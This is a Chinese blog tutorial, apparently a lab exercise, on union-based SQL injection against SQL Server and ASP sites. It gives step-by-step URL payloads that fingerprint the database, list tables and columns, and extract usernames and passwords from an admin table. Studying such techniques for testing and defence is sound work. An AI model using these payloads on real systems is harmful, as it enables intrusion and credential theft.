71.网络安全渗透测试—[SQL注入篇10]—[SQLSERVER+ASP-联合查询注入]

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

一、SQLSERVER+ASP 联合查询注入

1、SQLSERVER 相关概念:

     (1)sqlserver经常与asp或者aspx一起使用,操作系统多数是win2012、win2018, 数据库版本大多是sql2008、sql2012

     (2)sqlserver 常用系统函数:

@@version 版本信息
host_name()  计算机名称
suser_name() 用户登录名
user_name() 用户在数据库中的名字
show_role() 对当前用户起作用的规则
db_name() 数据库名
object_name(obj_id) 数据库对象名
col_name(obj_id,col_id) 列名
col_length(objname,colname) 列长度
valid_name(char_expr) 是否是有效标识符

     (3)注释符号

--空格 		单行注释
/*   */ 	多行注释

2、SQLSERVER+ASP 联合查询注入示例:

参考链接传送门

     (1)判断是否存在注入:and/or逻辑判断
and 1=2		# 页面错误
and 1=1		# 页面正常
     (2)判断列数:order by
?id=1 order by 3
?id=1 order by 4
     (3)联合查询注入—判断回显位:联合查询要求,联合查询的列与被联合查询的列的个数和类型一致,类型一致问题可以使用null值绕过。

        示例1-类型必须一致:?id=1 union select 1,'2','3'
在这里插入图片描述在这里插入图片描述        示例2-null值绕过类型:?id=1 union select null,null,null
在这里插入图片描述
        示例3-前置查询结果置空绕过:?id=-1 union select 1,2,3
在这里插入图片描述

     (4)联合查询注入—查询系统信息

        示例1-查询版本:?id=1 union select 1,@@version,'3'

在这里插入图片描述
        示例2-查询用户登录名:?id=1 union select 1,suser_name(),'3'

在这里插入图片描述        示例3-查询数据库名:?id=1 union select 1,db_name(),'3'
在这里插入图片描述

     (5)联合查询—当前数据库的表名
?id=1 union select top 第几行前的数据 1,'2',name FROM mydb.sys.sysobjects where xtype = 'U'

        示例1-查询mydb库的第一个表对象:?id=1 union select top 1 1,'2',name FROM mydb.sys.sysobjects where xtype = 'U'
在这里插入图片描述

        示例2-查询mydb库的表对象(可以排除我们查过的表对象):?id=1 union select top 100 1,'2',name FROM mydb.sys.sysobjects where xtype = 'U' and name!='cmd'

在这里插入图片描述

        示例3-查询mydb库的所有表对象:?id=1 union select top 100 1,'2',name FROM mydb.sys.sysobjects where xtype = 'U'
在这里插入图片描述

     (6)联合查询—admin表的列/字段对象
?id=1 union Select 1,'2',name from 数据库名.sys.syscolumns Where ID=OBJECT_ID('数据库.dbo.表名')

        示例1-查询admin表的所有字段名:?id=1 union Select 1,'2',name from mydb.sys.syscolumns Where ID=OBJECT_ID('mydb.dbo.admin')

在这里插入图片描述
        示例2-查询admin表的字段名(排序某一项):?id=1 union Select 1,'2',name from mydb.sys.syscolumns Where ID=OBJECT_ID('admin') and name!='username'

在这里插入图片描述

     (7)联合查询—admin表的数据
?id=1 union select null,字段名,字段名 from 表名

        示例-查询admin表的数据:?id=1 union select null,username,password from admin

在这里插入图片描述

3、总结:

(1)联合查询要求,联合查询的列与被联合查询的列的个数和类型一致(类型一致即可,或者前置查询结果置空绕过,或者null值代替列名绕过)。

(2)联合查询步骤:5步骤

         1.当前库名:?id=1 union select 1,db_name(),'3'

         2.当前库版本:?id=1 union select 1,@@version,'3'

         3.当前库的所有表:?id=1 union select top 第几行前的数据 1,'2',name FROM mydb.sys.sysobjects where xtype = 'U'

         4.某个表的所有字段:?id=1 union Select 1,'2',name from 数据库名.sys.syscolumns Where ID=OBJECT_ID('数据库.dbo.表名')

         5.某个表的所有数据:?id=1 union select null,字段名,字段名 from 表名

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

qwsn

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值